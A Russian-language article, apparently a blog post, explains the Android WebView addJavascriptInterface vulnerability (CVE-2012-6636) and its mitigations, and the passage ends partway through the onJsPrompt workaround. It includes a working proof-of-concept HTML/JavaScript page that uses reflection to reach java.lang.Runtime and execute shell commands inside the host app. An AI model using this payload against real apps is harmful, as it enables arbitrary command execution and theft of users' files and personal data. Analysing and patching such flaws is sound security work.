
Android 3.0 – 4.1.x на устройствах Disney Mobile, eAccess, KDDI, NTT DOCOMO, SoftBank и других некорректно реализует класс WebView, что позволяет удалённым злоумышленникам выполнять произвольные методы Java-объектов или вызывать отказ в обслуживании (перезагрузку) через специально созданную веб-страницу, как продемонстрировано использованием метода WebView.addJavascriptInterface; связанная проблема с CVE-2012-6636.
Часто мы используем WebView для отображения веб-страницы. Например, многие приложения для реализации серверного управления отображают результаты в виде веб-страниц, а не в виде локального интерфейса. У этого есть много преимуществ: например, для изменения интерфейса не нужно выпускать новую версию — достаточно изменить код на стороне сервера. При отображении интерфейса через веб-страницу обычно так или иначе происходит взаимодействие с Java-кодом: например, при нажатии кнопки на веб-странице нам нужно узнать событие клика, либо вызвать метод, чтобы страница выполнила некоторое действие. Для реализации такого взаимодействия обычно используется JS, и WebView предоставляет соответствующий метод. Конкретное использование выглядит следующим образом:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
Мы просим WebView зарегистрировать объект с именем "jsInterface", после чего из JS можно обращаться к объекту jsInterface, вызывать некоторые его методы, которые в конечном счёте обращаются к Java-коду. Так реализуется взаимодействие между JS и Java-кодом. Давайте вместе посмотрим на описание метода addJavascriptInterface на сайте Android:
Этот метод можно использовать, чтобы разрешить JavaScript управлять ведущим приложением. Это мощная функция, но она также создаёт угрозу безопасности для приложений, рассчитанных на уровень API JELLYBEAN и ниже, поскольку JavaScript может использовать рефлексию для доступа к открытым полям внедрённого объекта. Использование этого метода в WebView, содержащем недоверенное содержимое, может позволить атакующему манипулировать приложением непредусмотренными способами, выполняя Java-код с правами приложения. Соблюдайте предельную осторожность при использовании этого метода в WebView, которое может содержать недоверенное содержимое.
JavaScript взаимодействует с Java-объектом в отдельном фоновом потоке этого WebView. Поэтому необходимо соблюдать потокобезопасность. Поля Java-объекта недоступны.
Проще говоря, использование addJavascriptInterface может привести к небезопасности, потому что JS может содержать вредоносный код. Именно об этой уязвимости мы и хотим рассказать сегодня: когда JS содержит вредоносный код, он может сделать что угодно.
С помощью JavaScript можно получить доступ ко всему, что находится на SD-карте устройства, а также к контактной информации, SMS и т.д. Это отвратительно, чёрт возьми.
WebView добавляет JavaScript-объект, а текущее приложение обладает правами на чтение и запись SD-карты, например: android.permission.WRITE_EXTERNAL_STORAGE
Через объект window в JS можно найти объект с методом "getClass", затем с помощью механизма рефлексии получить объект Runtime, после чего вызвать статический метод для выполнения команд, например команды доступа к файлам.
Из строки, возвращаемой входным потоком выполненной команды, можно получить информацию об именах файлов. А дальше делайте что хотите — большой риск. Основной JS-код выглядит следующим образом:
function execute(cmdArgs)
{
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
Чтобы доказать наличие этой уязвимости, я просто загружаю локальную веб-страницу с вредоносным JS-кодом. HTML-код выглядит следующим образом:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script>
var i=0;
function getContents(inputStream)
{
var contents = ""+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bString;
contents += "\n"
b = inputStream.read();
}
i=i+1;
return contents;
}
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
document.write(getContents(p.getInputStream()));
</script>
<script language="javascript">
function onButtonClick()
{
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick("Text passed in from the JS!!!");
alert(text);
}
function onImageClick()
{
//Call the method of injected object from Android source.
var src = document.getElementById("image").src;
var width = document.getElementById("image").width;
var height = document.getElementById("image").height;
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
}
</script>
</head>
<body>
<p>Click on the image to the URL to Java code</p>
</p>
<button type="button" onclick="onButtonClick()">Interaction with the Java code</button>
</body>
</html>
execute(): он перебирает все объекты window, находит объект с методом getClass, использует класс этого объекта, находит объект java.lang.Runtime, затем вызывает статический метод "getRuntime" для получения экземпляра Runtime и вызывает метод exec() для выполнения команды.getContents() читает данные из потока и отображает их в интерфейсе.return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
Java-код выглядит следующим образом:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
mWebView.loadUrl("file:///android_asset/html/test.html");
Необходимо добавить разрешения:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
Система Android 4.2 и выше В Android 4.2 и выше Google изменил подход: методы Java, доступные из JS, должны быть помечены аннотацией @JavascriptInterface, как в следующем коде:
class JsObject {
@JavascriptInterface
public String toString() { return "injectedObject"; }
}
webView.addJavascriptInterface(new JsObject(), "injectedObject");
webView.loadData("", "text/html", null);
webView.loadUrl("javascript:alert(injectedObject.toString())");
Система Android ниже 4.2
Эту проблему решить сложно, но можно. Прежде всего, не следует вызывать метод addJavascriptInterface. Суть проблемы в том, чтобы узнать о действии JS-события. Как мы знаем, JS взаимодействует с Java несколькими способами: например, действия prompt, alert соответствуют методам WebChromeClient; для prompt это метод onJsPrompt. Объявление этого метода выглядит следующим образом:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)